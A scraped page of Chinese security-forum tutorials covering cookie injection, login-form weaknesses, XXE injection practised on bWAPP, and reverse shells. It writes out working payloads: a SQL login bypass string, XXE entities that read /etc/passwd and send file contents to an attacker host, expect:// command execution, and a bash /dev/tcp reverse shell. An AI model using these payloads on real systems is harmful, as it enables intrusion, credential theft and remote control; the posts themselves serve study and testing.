中转注入

WEBheyha 发表了文章 • 0 个评论 • 13 次浏览 • 2 天前 • 来自相关话题

cookie注入原理以及利用(中转注入)
 
 
一:cookie注入原理
 
众所周知,服务端用来接收客户端传递的数据时,大部分用的是get型或者post型。
但是,为了简化代码可能会有  ID=request("id")
 
下面我们一起来看看asp里面的request对象
 
request对象可以接受的数据
1,get
2,post
3,cookie
4,存储在客户证书中的所有的字段值
5,所有的服务器变量值
web服务器读取数据的顺序是先读取GET中的数据,没有在再取POST中的数据,如果还是没有便会去读取cookie中的数据。这就为我们的测试提供了可能。
 
ps:PHP的$_REQUEST[]也可以接收cookie的值
 
 比如我们在url里面输入一些字符的时候  (比如:http://www.heyha.com/index.asp?id=12'  ) 经常会遇到以下情况

 
这个时候问题就来了如果该网站采用了request对象又碰巧只对get  和  post的数据进行了
过滤那么我们便可以在cookie里面尝试注入。
 
首先,先开始检测
1,先讲传的参数去掉(http://www.heyha.com/index.asp)查看是否页面是否回显正常如果不正常便(没有接收到参数)可进行第二步





 
2,在网址框里面输入
javascript:alert(document.cookie="id="+escape("12"));
[size=16]在burp里面直接修改cookie也可以(都是往cookie里面条件数据)[/size]
 输入会后弹出一个id=12的窗口





 
3,然后再次访问(http://www.heyha.com/index.asp)如果正常测存在cookie注入





 
 
接下来便可以在escape("")里面或直接在cookie里面插入and 1=1或1=2 继续测试看是否对cookie进行过滤。
 
 
如果不存过滤在就可以测试了
 
最后总结一下
1,对post  get数据做了过滤
2,采用了request对象
 
 
 
  查看全部
cookie注入原理以及利用(中转注入)
 
 
一:cookie注入原理
 
众所周知,服务端用来接收客户端传递的数据时,大部分用的是get型或者post型。
但是,为了简化代码可能会有  ID=request("id")
 
下面我们一起来看看asp里面的request对象
 
request对象可以接受的数据
1,get
2,post
3,cookie
4,存储在客户证书中的所有的字段值
5,所有的服务器变量值

web服务器读取数据的顺序是先读取GET中的数据,没有在再取POST中的数据,如果还是没有便会去读取cookie中的数据。这就为我们的测试提供了可能。
 
ps:PHP的$_REQUEST[]也可以接收cookie的值
 
 比如我们在url里面输入一些字符的时候  (比如:http://www.heyha.com/index.asp?id=12'  ) 经常会遇到以下情况

 
这个时候问题就来了如果该网站采用了request对象又碰巧只对get  和  post的数据进行了
过滤那么我们便可以在cookie里面尝试注入。
 
首先,先开始检测
1,先讲传的参数去掉(http://www.heyha.com/index.asp)查看是否页面是否回显正常如果不正常便(没有接收到参数)可进行第二步

3.png

 
2,在网址框里面输入
javascript:alert(document.cookie="id="+escape("12"));

[size=16]在burp里面直接修改cookie也可以(都是往cookie里面条件数据)[/size]
 输入会后弹出一个id=12的窗口

4.png

 
3,然后再次访问(http://www.heyha.com/index.asp)如果正常测存在cookie注入

5.png

 
 
接下来便可以在escape("")里面或直接在cookie里面插入and 1=1或1=2 继续测试看是否对cookie进行过滤。
 
 
如果不存过滤在就可以测试了
 
最后总结一下
1,对post  get数据做了过滤
2,采用了request对象
 
 
 
 

细讲登陆框漏洞的姿势

渗透测试cat 发表了文章 • 2 个评论 • 65 次浏览 • 3 天前 • 来自相关话题

登陆框的登陆方式
这是我们熟知的两种登陆方式:
1. 服务端session+客户端sessionID
服务器端返回response,并且将sessionId以set-cookie的方式发送到客户端,这样sessionId就存在了客户端
客户端发送非登录请求时,服务端就能通过cookie中的sessionId找到对应的session




2. Token
token的方式就是把用户的状态信息加密成一串token传给前端,然后每次发请求时把token带上,传回给服务器端;服务器端收到请求之后,解析token并且验证相关信息
 
一、信息泄露
1. 明文传输
 若是没有验证码拦截或者可以绕过验证码,则可爆破用户账号,遍历用户信息。
 
2. 右键查看源代码
HTML源代码会泄露很多信息,像程序员未删除的注释、敏感路径等都可能在HTML源代码中找的到,从来增加发现漏洞的成功率。很多JS文件中会泄露其他路径,或者敏感函数等。泄露其他路径可以增加我们可以测试的点,泄露一些敏感函数可以实现未授权访问等恶意操作3. 提示报错信息 找回密码处输入名称,抓包查看返回包用户信息 报错提示用户名错误以及密码错误时(可爆破情况下),可以尝试爆破用户名密码 网站信息报错,输入一些sql语句,查看会不会存在注入
 
二、未授权访问
1. SQL注入登陆账号(万能密码)
 admin' or 1=1#  123456
 
2. 修改返回包状态码登陆
   0     ->   1
   Flase  ->   true
   201   ->   200
   1111  ->   0000 看具体情况进行修改
 
3. 直接访问用户界面
  扫子目录后发现user界面(或者其他敏感目录),尝试访问一下。
 
三、XSS+CSRF
正常的self-xss ,对自己进行弹窗
123456” onclick=”alert(‘1’)
用burp抓包后判断登陆是否存在CSRF,也就是判断是否为POST传参,是否对Token和Referer进行验证。
存在CSRF则可以配合XSS进行攻击
 
四、劫持用户身份凭证
Json劫持
   受害者登陆容易受到攻击的网站,而这个易受攻击的网站向浏览器发送一个身份验证的cookie并且浏览器将它保存起来(浏览器会将这个HTTP的身份认证信息和相关的cookie缓存起来)。




恶意攻击者发送钓鱼/欺诈邮件,受害者会收到一封内容是推荐一个非常有趣的视频的电子邮件,比如邮件中带有"钢琴上的松鼠"这样内容的一个视频链接。




但是这个链接实际上是指向这些恶意攻击者的网站(就是钓鱼网站),当受害人点击了这个链接,接下来会连续执行两个步骤。首先,受害人的浏览器会向恶意攻击者的网站发送一个GET请求。




这些恶意攻击者的网站(钓鱼网站)会响应并返回一些HTML语句,这些HTML语句包含着带有script标签的JavaScript语句(恶意脚本语句)。当浏览器运行到这些script标签时,它就会执行这段代码并向那些容易受到攻击的网站(这里假设攻击和劫持的网站是http://vulnerable.example.com/Json)发送另一个加载脚本的GET请求(如上图所示,这里会将从网站获取的响应文本放到/替换到script标签中,一般是返回JSON数据),该请求还会将受害人浏览器中的身份验证cookie一同发送过去。




攻击者通过伪装成受害者的浏览器,利用浏览器的授权(就是上面发送过去的身份验证cookie) 发出一个请求,这个请求可以到获取到拥有敏感数据的JSON数组。攻击者通过将请求的JSON数组载入到script中以替换重写成可执行的脚本语句,从而窃取到这些数据(脚本语句会将窃取到的数据发送给攻击者)。
五、URL跳转
Url跳转是登陆成功时抓包,发现url有跳转,这时候可以更改url中的地址,以这个身份去访问。




 
六、密码重置
忘记密码处进行密码重置
1. 参数污染 可以接受2个手机号或者邮箱信息
2. 验证码不失效 验证码长期有效,可通过爆破得到
3. 验证码未绑定  可以用自己的验证码修改别人密码
4. 验证码在返回包 点击发送后获取返回包查看验证码
5. 修改手机号 将用户的手机号改为其他的可接受号码
6. 本地验证绕过 验证码错误抓包修改状态进行绕过
7. 修改用户名 到修改密码最后一步修改用户名或id
8. 跳过步骤 可以跳过验证码直接修改密码的
9. 替换cookie值 重置自己用户密码到达最后阶段,抓到数据包,并在第一阶段重新获取目标用户cookie,替换cookie到我们抓取的数据包中,发包测试
 
非忘记密码处密码重置
1. 登陆成功后在个人信息处修改信息进行信息覆盖,然后进行密码修改
2. 登陆成功后在修改密码时抓包,修改包内可变数据,进行密码修改
3. 有些修改密码是链接修改的,修改链接中的数据进行密码修改
 
七、任意手机号注册
1. 验证码无效,可以一直注册
2. 验证码不进行绑定,且没有时限,可一直注册
3. 参数污染,增加参数,获取验证码信息
4. 验证码在返回包中,直接得到验证码
5. 手机号在url中输入,跳过验证步骤
 
八、短信炸弹
没有验证码(或验证码不失效等原因)可一直发送短信

九、各大CMS爆出的登陆漏洞
    看到登陆框,仔细看一下,这些个小框框周围有没有特殊信息,可以看到第三方应用的部分信息,然后,百度搜索这些第三方应用的通用型漏洞。
 
 
 
 
 
 
 
  查看全部
登陆框的登陆方式
这是我们熟知的两种登陆方式:
1. 服务端session+客户端sessionID
服务器端返回response,并且将sessionId以set-cookie的方式发送到客户端,这样sessionId就存在了客户端
客户端发送非登录请求时,服务端就能通过cookie中的sessionId找到对应的session
1.png

2. Token
token的方式就是把用户的状态信息加密成一串token传给前端,然后每次发请求时把token带上,传回给服务器端;服务器端收到请求之后,解析token并且验证相关信息
 
一、信息泄露
1. 明文传输
 若是没有验证码拦截或者可以绕过验证码,则可爆破用户账号,遍历用户信息。
 
2. 右键查看源代码
  • HTML源代码会泄露很多信息,像程序员未删除的注释、敏感路径等都可能在HTML源代码中找的到,从来增加发现漏洞的成功率。
  • 很多JS文件中会泄露其他路径,或者敏感函数等。泄露其他路径可以增加我们可以测试的点,泄露一些敏感函数可以实现未授权访问等恶意操作
3. 提示报错信息
  •  找回密码处输入名称,抓包查看返回包用户信息
  •  报错提示用户名错误以及密码错误时(可爆破情况下),可以尝试爆破用户名密码
  •  网站信息报错,输入一些sql语句,查看会不会存在注入

 
二、未授权访问
1. SQL注入登陆账号(万能密码)
 admin' or 1=1#  123456
 
2. 修改返回包状态码登陆
   0     ->   1
   Flase  ->   true
   201   ->   200
   1111  ->   0000 看具体情况进行修改
 
3. 直接访问用户界面
  扫子目录后发现user界面(或者其他敏感目录),尝试访问一下。
 
三、XSS+CSRF
正常的self-xss ,对自己进行弹窗
123456” onclick=”alert(‘1’)
用burp抓包后判断登陆是否存在CSRF,也就是判断是否为POST传参,是否对Token和Referer进行验证。
存在CSRF则可以配合XSS进行攻击
 
四、劫持用户身份凭证
Json劫持
   受害者登陆容易受到攻击的网站,而这个易受攻击的网站向浏览器发送一个身份验证的cookie并且浏览器将它保存起来(浏览器会将这个HTTP的身份认证信息和相关的cookie缓存起来)。
2.png

恶意攻击者发送钓鱼/欺诈邮件,受害者会收到一封内容是推荐一个非常有趣的视频的电子邮件,比如邮件中带有"钢琴上的松鼠"这样内容的一个视频链接。
3.png

但是这个链接实际上是指向这些恶意攻击者的网站(就是钓鱼网站),当受害人点击了这个链接,接下来会连续执行两个步骤。首先,受害人的浏览器会向恶意攻击者的网站发送一个GET请求。
4.png

这些恶意攻击者的网站(钓鱼网站)会响应并返回一些HTML语句,这些HTML语句包含着带有script标签的JavaScript语句(恶意脚本语句)。当浏览器运行到这些script标签时,它就会执行这段代码并向那些容易受到攻击的网站(这里假设攻击和劫持的网站是http://vulnerable.example.com/Json)发送另一个加载脚本的GET请求(如上图所示,这里会将从网站获取的响应文本放到/替换到script标签中,一般是返回JSON数据),该请求还会将受害人浏览器中的身份验证cookie一同发送过去。
5.png

攻击者通过伪装成受害者的浏览器,利用浏览器的授权(就是上面发送过去的身份验证cookie) 发出一个请求,这个请求可以到获取到拥有敏感数据的JSON数组。攻击者通过将请求的JSON数组载入到script中以替换重写成可执行的脚本语句,从而窃取到这些数据(脚本语句会将窃取到的数据发送给攻击者)。
五、URL跳转
Url跳转是登陆成功时抓包,发现url有跳转,这时候可以更改url中的地址,以这个身份去访问。
6.png

 
六、密码重置
忘记密码处进行密码重置
1. 参数污染 可以接受2个手机号或者邮箱信息
2. 验证码不失效 验证码长期有效,可通过爆破得到
3. 验证码未绑定  可以用自己的验证码修改别人密码
4. 验证码在返回包 点击发送后获取返回包查看验证码
5. 修改手机号 将用户的手机号改为其他的可接受号码
6. 本地验证绕过 验证码错误抓包修改状态进行绕过
7. 修改用户名 到修改密码最后一步修改用户名或id
8. 跳过步骤 可以跳过验证码直接修改密码的
9. 替换cookie值 重置自己用户密码到达最后阶段,抓到数据包,并在第一阶段重新获取目标用户cookie,替换cookie到我们抓取的数据包中,发包测试
 
非忘记密码处密码重置
1. 登陆成功后在个人信息处修改信息进行信息覆盖,然后进行密码修改
2. 登陆成功后在修改密码时抓包,修改包内可变数据,进行密码修改
3. 有些修改密码是链接修改的,修改链接中的数据进行密码修改
 
七、任意手机号注册
1. 验证码无效,可以一直注册
2. 验证码不进行绑定,且没有时限,可一直注册
3. 参数污染,增加参数,获取验证码信息
4. 验证码在返回包中,直接得到验证码
5. 手机号在url中输入,跳过验证步骤
 
八、短信炸弹
没有验证码(或验证码不失效等原因)可一直发送短信

九、各大CMS爆出的登陆漏洞
    看到登陆框,仔细看一下,这些个小框框周围有没有特殊信息,可以看到第三方应用的部分信息,然后,百度搜索这些第三方应用的通用型漏洞。
 
 
 
 
 
 
 
 

XXE

渗透测试sq_smile 发表了文章 • 0 个评论 • 38 次浏览 • 3 天前 • 来自相关话题

前言:0X00 XXE定义:
0X01 XXE漏洞是如何读取文件的:
0X02 XML外部实体注入利用(XML External Entity):
0X03 使用bWAPP进行XXE练手:
0X04 防御XXE攻击:

 
0X00    XXE定义:
        xml外部实体注入被我们称为XXE。因为实体可以通过预定义在文档中被调用,而实体的标识符又可以访问本地或者远程内容,当允许引用外部实体时,攻击者便可以构造恶意内容来达到攻击。



 
        DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。DTD 可以在 XML 文档内声明,也可以外部引用。
        内部声明:<!DOCTYPE 根元素[元素声明]>
        外部引用:引用外部DTD(从本网站调用):
1) <!DOCTYPE 根元素 SYSTEM "文件名">
2) <!DOCTYPE 根元素 PUBLIC "public_ID" "文件名">
引用外部DTD(从外网站调用):
1) <!ENTITY 实体名称 SYSTEM "URI">
2) <!ENTITY 实体名称 PUBLIC "public_ID""URI">
eg:<!ENTITY xxe SYSTEM "http://xxe.com/xxe.xml">
0X01    XXE漏洞是如何读取文件的:<!ENTITY name SYSTEM "file:///etc/passwd">
<root>&name;</root>         此时服务器会在root节点返回 /etc/passwd的内容,整个代码运行流程是name实体加载本地文件并且
文件返回值被赋给name。如果没有回显则可以利用带外通信进行测试。
        1、非blind型的XXE:



  
                如上图所示这个HTTP包,包头可以看到Content-type为xml,文件接受者以xml的形式读取文件,然后服务器会正常返回在body里的以POST方式传递过去的xml代码执行内容。由此就可以构造常规的恶意xml代码(非blind型的XXE)。
 
        2、blind型的XXE:
                可以构造如下xml恶意代码:<?xml version="1.0" ?>
<!DOCTYPE nay[
<! ENTITY %remote SYSTEM "http://xxe.com/eval.dtd">%remote;%ppp;%send;
]>
<foo></foo>              这个是用于直接在http body中提交的恶意xml代码,它会去调用位于我们的主机上的外部dtd文件(不在同一个文件写入要读取的文件主要是为了避免参数实体引用时发生的错误)
以下是eval.dtd的内容:  <!ENTITY %name SYSTEM "file://etc/passwd">
<!ENTITY %ppp "<!ENTITY %send SYSTEM 'http://your-ip/?p=%name;'>">              整个执行流程如下:加载参数实体remote,此时会远程加载攻击者主机上的外部实体  ————> 然后加载ppp参数实体————>加载send实体,此时就是最关键的时候,此时用于记载服务器端的返回内容(通过get查询方式会在攻击者的服务器日志中留下记录),查询的字符串p的值便是参数实体name的值。  
 
        3、XXE的手工检测方法:<! DOCTYPE any[
<! ENTITY shit "this is a test">
]>
<root>
&shit;
</root>                 如果Response里出现“this is a test”说明存在XML调用,则可以继续加载外部实体。<?xml version=”1.0” encoding=”UTF-8”?>
<!DOCTYPE ANY [
<!ENTITY % shit SYSTEM “http://you-host/eval.xml”>
%shit;
]>          然后查看自己服务器的日志,看目标服务器是否向你的服务器发送了一条请求eval.xml的HTTP Request。              如果上面两步都支持,那么就看能否回显。如果能回显,就可以直接使用外部实体的方式进行攻击。当然有时候服务器会不支持一般实体的引用,也就是在DTD之外无法引用实体,如果这样的话,只能使用Blind XXE攻击。
          如果不能回显,毫无疑问,使用Blind XXE攻击方法。  
 
0X02    XML外部实体注入利用(XML External Entity):
          当允许引用外部实体时,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。(不同程序支持的协议不一样。)



  
         上图是默认支持协议,还可以支持其他协议。如PHP支持的扩展协议有:



  
         XXE常见利用环境:
             xxe漏洞主要针对webservice危险的引用的外部实体并且未对外部实体进行敏感字符的过滤,从而可以造成命令执行,目录遍历等.首先存在漏洞的web服务一定是存在xml传输数据的,可以在http头的content-type中查看,也可以根据url一些常见的关键字进行判断测试。
             例如,wsdl(web服务描述语言)。或者一些常见的采用xml的java服务配置文件(spring,struts2)。不过现实中存在的大多数xxe漏洞都是blind,即不可见的,必须采用带外通道进行返回信息的记录。这里简单来说就是攻击者必须具有一台具有公网ip的主机。
         XXE危害:
              1、读取任意文件:



  



  
                   该CASE是读取/etc/passwd,有些XML解析库支持列目录,攻击者通过列目录、读文件,获取帐号密码后进一步攻击,如读取tomcat-users.xml得到帐号密码后登录tomcat的manager部署webshell。                  
                   如果数据不回显怎么办?可以把数据发送到远程服务器。



  
                   远程服务器DTD:



  
                   触发XXE攻击后,服务器会把文件内容发送到攻击者网站:



  
                   收到的信息base64解码即可,



  
                   如果失败,可能是由于读取php等文件时文件本身包含的<等字符被过滤,可以使用Base64编码绕过,如:<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xdsec [
<!ELEMENT methodname ANY >
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=index.php" >]>
<methodcall>
<methodname>&xxe;</methodname>
</methodcall>

              2、执行系统命令:



  



  
                     该CASE是在安装expect扩展的PHP环境里执行系统命令,其他协议也有可能可以执行系统命令。
              
              3、探测内网端口:



  



  
                    该CASE是探测192.168.1.1的80、81端口,通过返回的“Connection refused”可以知道该81端口是closed的,而80端口是open的。

              4、攻击内网网站:



  



  
                    该CASE是攻击内网struts2网站,远程执行系统命令。

              5、XSS:
                     在XXE中插入XSS:<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE Header [
<!ENTITY bWAPP "<script>alert("Hello Flaray")</script>">
]>
<reset>
<login>&bWAPP;</login>
<secret>Any bugs?</secret>
</reset>
              6、拒绝服务攻击(DDOS):
                    我们可以使用XXE漏洞来导致拒绝服务。通过请求永不返回的文件(例如/ dev / random和/ dev / zero)来导致拒绝服务。<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY bWAPP SYSTEM "file:///dev/random">
]>
<reset>
<login>&bWAPP;</login>
<secret>Any bugs?</secret>
</reset>



<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY bWAPP SYSTEM "file:///dev/zero">
]>
<reset>
<login>&bWAPP;</login>
<secret>Any bugs?</secret>
</reset>
              7、代码执行:<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY bWAPP SYSTEM "expect://id">
]>
<reset>
<login>&bWAPP;</login>
<secret>Any bugs?</secret>
</reset>          无论是WEB程序,还是PC程序,只要处理用户可控的XML都可能存在危害极大的XXE漏洞。
 
0X03    使用bWAPP进行XXE练手:



  
              安全等级:low



  
              payload:<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE copyright [<!ENTITY test SYSTEM "file:///etc//passwd">]>
<reset>
<login>&test;</login>
<secret>login</secret>
</reset>             其中<?xml version="1.0" encoding="UTF-8"?>可以省去。
我们也可以利用XXE来读取网站目录下的一些重要文件,只要修改外部实体定义语句<!DOCTYPE copyright [<!ENTITY test SYSTEM "">]>即可。PS:读取内网中其他服务器文件也是可行的,这也是BWAPP作者将XXE归到SSRF利用里原因:



  
             测试端口是否开放,用80端口测试: <!DOCTYPE note[ <!ENTITY xxe SYSTEM "http://127.0.0.1:80"> ]>
<reset>
<login>&xxe;</login>
<secret>Any bugs?</secret>
</reset>               如图说明开放:



  
               修改为180端口,发现不开放:



  
               通过XML引用外网站DTD文件来利用XXE漏洞:打开phpstudy构造本地回环网站,再输入自己的IP来利用了本机回环地址下的1.dtd。<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY % d SYSTEM "http://192.168.X.X/1.dtd">
%d;]>
<reset>
<login>&b;</login>
<secret>Any bugs?</secret>
</reset>


  
               1.dtd内容:<!ENTITY %b SYSTEM "file:///etc/passwd&quot;&gt;
               Medium/Hign等级,使用上面使用的语句提示reset。



  
               分析下源代码: 



  
               login元素值变成了从session中获取,攻击者无法利用login元素来进行XXE攻击。
0X04    防御XXE攻击:
               方案1、使用开发语言提供的禁用外部实体的方法:
                      PHP:libxml_disable_entity_loader(true);
                      其他语言:https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet
               方案2、过滤用户提交的XML数据 :
                      关键词:SYSTEM和PUBLIC。
               方案3、其他语言替代:使用json等替代xml
 
参考链接:https://blog.csdn.net/u011215939/article/details/80376304
https://security.tencent.com/index.php/blog/msg/69
https://cloud.tencent.com/developer/article/1079593
https://www.cnblogs.com/bmjoker/p/9626241.html
https://www.peerlyst.com/posts/hunting-xml-external-entity-xxe-injection-vulnerability-sachin-wagh
http://www.91ri.org/9539.html 查看全部
前言:
0X00    XXE定义:
0X01 XXE漏洞是如何读取文件的:
0X02 XML外部实体注入利用(XML External Entity):
0X03 使用bWAPP进行XXE练手:
0X04 防御XXE攻击:

 
0X00    XXE定义:
        xml外部实体注入被我们称为XXE。因为实体可以通过预定义在文档中被调用,而实体的标识符又可以访问本地或者远程内容,当允许引用外部实体时,攻击者便可以构造恶意内容来达到攻击。
1.png
 
        DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。DTD 可以在 XML 文档内声明,也可以外部引用。
        内部声明:<!DOCTYPE 根元素[元素声明]>
        外部引用:
引用外部DTD(从本网站调用):
1) <!DOCTYPE 根元素 SYSTEM "文件名">
2) <!DOCTYPE 根元素 PUBLIC "public_ID" "文件名">
引用外部DTD(从外网站调用):
1) <!ENTITY 实体名称 SYSTEM "URI">
2) <!ENTITY 实体名称 PUBLIC "public_ID""URI">
eg:<!ENTITY xxe SYSTEM "http://xxe.com/xxe.xml">

0X01    XXE漏洞是如何读取文件的
<!ENTITY name SYSTEM "file:///etc/passwd">
<root>&name;</root>
         此时服务器会在root节点返回 /etc/passwd的内容,整个代码运行流程是name实体加载本地文件并且
文件返回值被赋给name。如果没有回显则可以利用带外通信进行测试。
        1、非blind型的XXE:
2.png
  
                如上图所示这个HTTP包,包头可以看到Content-type为xml,文件接受者以xml的形式读取文件,然后服务器会正常返回在body里的以POST方式传递过去的xml代码执行内容。由此就可以构造常规的恶意xml代码(非blind型的XXE)。
 
        2、blind型的XXE:
                可以构造如下xml恶意代码:
<?xml  version="1.0" ?>
<!DOCTYPE nay[
<! ENTITY %remote SYSTEM "http://xxe.com/eval.dtd">%remote;%ppp;%send;
]>
<foo></foo>
              这个是用于直接在http body中提交的恶意xml代码,它会去调用位于我们的主机上的外部dtd文件(不在同一个文件写入要读取的文件主要是为了避免参数实体引用时发生的错误)
以下是eval.dtd的内容:  
<!ENTITY %name SYSTEM "file://etc/passwd">
<!ENTITY %ppp "<!ENTITY %send SYSTEM 'http://your-ip/?p=%name;'>">
              整个执行流程如下:加载参数实体remote,此时会远程加载攻击者主机上的外部实体  ————> 然后加载ppp参数实体————>加载send实体,此时就是最关键的时候,此时用于记载服务器端的返回内容(通过get查询方式会在攻击者的服务器日志中留下记录),查询的字符串p的值便是参数实体name的值。  
 
        3、XXE的手工检测方法:
<! DOCTYPE any[
<! ENTITY shit "this is a test">
]>
<root>
&shit;
</root>
                 如果Response里出现“this is a test”说明存在XML调用,则可以继续加载外部实体。
<?xml version=”1.0” encoding=”UTF-8”?>
<!DOCTYPE ANY [
<!ENTITY % shit SYSTEM “http://you-host/eval.xml”>
%shit;
]>
          然后查看自己服务器的日志,看目标服务器是否向你的服务器发送了一条请求eval.xml的HTTP Request。              如果上面两步都支持,那么就看能否回显。如果能回显,就可以直接使用外部实体的方式进行攻击。当然有时候服务器会不支持一般实体的引用,也就是在DTD之外无法引用实体,如果这样的话,只能使用Blind XXE攻击。
          如果不能回显,毫无疑问,使用Blind XXE攻击方法。  
 
0X02    XML外部实体注入利用(XML External Entity):
          当允许引用外部实体时,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。(不同程序支持的协议不一样。)
3.png
  
         上图是默认支持协议,还可以支持其他协议。如PHP支持的扩展协议有:
4.png
  
         XXE常见利用环境
             xxe漏洞主要针对webservice危险的引用的外部实体并且未对外部实体进行敏感字符的过滤,从而可以造成命令执行,目录遍历等.首先存在漏洞的web服务一定是存在xml传输数据的,可以在http头的content-type中查看,也可以根据url一些常见的关键字进行判断测试。
             例如,wsdl(web服务描述语言)。或者一些常见的采用xml的java服务配置文件(spring,struts2)。不过现实中存在的大多数xxe漏洞都是blind,即不可见的,必须采用带外通道进行返回信息的记录。这里简单来说就是攻击者必须具有一台具有公网ip的主机。
         XXE危害
              1、读取任意文件:
5.png
  
6.png
  
                   该CASE是读取/etc/passwd,有些XML解析库支持列目录,攻击者通过列目录、读文件,获取帐号密码后进一步攻击,如读取tomcat-users.xml得到帐号密码后登录tomcat的manager部署webshell。                  
                   如果数据不回显怎么办?可以把数据发送到远程服务器。
7.png
  
                   远程服务器DTD:
8.png
  
                   触发XXE攻击后,服务器会把文件内容发送到攻击者网站:
9.png
  
                   收到的信息base64解码即可,
10.png
  
                   如果失败,可能是由于读取php等文件时文件本身包含的<等字符被过滤,可以使用Base64编码绕过,如:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xdsec [
<!ELEMENT methodname ANY >
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=index.php" >]>
<methodcall>
<methodname>&xxe;</methodname>
</methodcall>

              2、执行系统命令:
11.png
  
12.png
  
                     该CASE是在安装expect扩展的PHP环境里执行系统命令,其他协议也有可能可以执行系统命令。
              
              3、探测内网端口:
13.png
  
14.png
  
                    该CASE是探测192.168.1.1的80、81端口,通过返回的“Connection refused”可以知道该81端口是closed的,而80端口是open的。

              4、攻击内网网站:
15.png
  
16.png
  
                    该CASE是攻击内网struts2网站,远程执行系统命令。

              5、XSS:
                     在XXE中插入XSS:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE Header [
<!ENTITY bWAPP "<script>alert("Hello Flaray")</script>">
]>
<reset>
<login>&bWAPP;</login>
<secret>Any bugs?</secret>
</reset>

              6、拒绝服务攻击(DDOS):
                    我们可以使用XXE漏洞来导致拒绝服务。通过请求永不返回的文件(例如/ dev / random和/ dev / zero)来导致拒绝服务。
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY bWAPP SYSTEM "file:///dev/random">
]>
<reset>
<login>&bWAPP;</login>
<secret>Any bugs?</secret>
</reset>



<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY bWAPP SYSTEM "file:///dev/zero">
]>
<reset>
<login>&bWAPP;</login>
<secret>Any bugs?</secret>
</reset>

              7、代码执行:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY bWAPP SYSTEM "expect://id">
]>
<reset>
<login>&bWAPP;</login>
<secret>Any bugs?</secret>
</reset>
          无论是WEB程序,还是PC程序,只要处理用户可控的XML都可能存在危害极大的XXE漏洞。
 
0X03    使用bWAPP进行XXE练手
17.png
  
              安全等级:low
18.png
  
              payload:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE copyright [<!ENTITY test SYSTEM "file:///etc//passwd">]>
<reset>
<login>&test;</login>
<secret>login</secret>
</reset>
             其中<?xml version="1.0" encoding="UTF-8"?>可以省去。
我们也可以利用XXE来读取网站目录下的一些重要文件,只要修改外部实体定义语句<!DOCTYPE copyright [<!ENTITY test SYSTEM "">]>即可。PS:读取内网中其他服务器文件也是可行的,这也是BWAPP作者将XXE归到SSRF利用里原因:
19.png
  
             测试端口是否开放,用80端口测试: 
<!DOCTYPE note[ <!ENTITY xxe SYSTEM "http://127.0.0.1:80"> ]>
<reset>
<login>&xxe;</login>
<secret>Any bugs?</secret>
</reset>
               如图说明开放:
20.png
  
               修改为180端口,发现不开放:
21.png
  
               通过XML引用外网站DTD文件来利用XXE漏洞:打开phpstudy构造本地回环网站,再输入自己的IP来利用了本机回环地址下的1.dtd。
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY % d SYSTEM "http://192.168.X.X/1.dtd">
%d;]>
<reset>
<login>&b;</login>
<secret>Any bugs?</secret>
</reset>
22.png
  
               1.dtd内容:<!ENTITY %b SYSTEM "file:///etc/passwd&quot;&gt;
               Medium/Hign等级,使用上面使用的语句提示reset。
23.png
  
               分析下源代码: 
24.png
  
               login元素值变成了从session中获取,攻击者无法利用login元素来进行XXE攻击。
0X04    防御XXE攻击:
               方案1、使用开发语言提供的禁用外部实体的方法:
                      PHP:libxml_disable_entity_loader(true);
                      其他语言:https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet
               方案2、过滤用户提交的XML数据 :
                      关键词:SYSTEM和PUBLIC。
               方案3、其他语言替代:使用json等替代xml
 
参考链接:
https://blog.csdn.net/u011215939/article/details/80376304
https://security.tencent.com/index.php/blog/msg/69
https://cloud.tencent.com/developer/article/1079593
https://www.cnblogs.com/bmjoker/p/9626241.html
https://www.peerlyst.com/posts/hunting-xml-external-entity-xxe-injection-vulnerability-sachin-wagh
http://www.91ri.org/9539.html

反弹shell的原理及简单实验

渗透测试gu 发表了文章 • 0 个评论 • 34 次浏览 • 3 天前 • 来自相关话题

0x00什么是反弹shell
攻击者是定服务端,受害者主机主动连接攻击者的服务端程序。
0x01反弹shell的适用场景
被控端因防火墙受限、权限不足、端口被占用等情况受限是需要使用反弹shell
例:
客户机中了木马,但是它在局域网内,不能被直接连接客户机的ip会动态改变,不能被持续控制由于防火墙的限制,客户机只能发送请求,不能接收请求对于病毒、木马、受害者什么时候中招,什么时候开机,对方的网络环境都未知时,最好建立一个服务端,让恶意程序主动连接
0x02准备环境
CentOS 6.5 :192.168.27.26
kali 2.0 :192.168.27.27
0x03试验过程
首先开启kail2.0的一个端口进入监听状态ns -lvp 7777




 
 
然后在CentOS中输入命令bash -i >& /dev/tcp/192.168.27.27/7777 0>&1




 
 
这样shell就反弹回了kali上





 
0x04 原理
linux文件描述符:linux shell下有三种标准的文件描述符0 - stdin 代表标准输入,使用<或<<
1 - stdout 代表标准输出,使用>或>>
2 - stderr 代表标准错误输出,使用2>或2>> 
在CentOS中输入的>&的含义:当>&后面接文件时,表示将标准输出和标准错误输出重定向值至文件
当>&后面接文件描述符(这里可以将文件描述符理解为c语言里面带的指针)时,
表示将前面的 文件描述符重定向至后面的文件描述符
>和>&的区别,最简单的例子




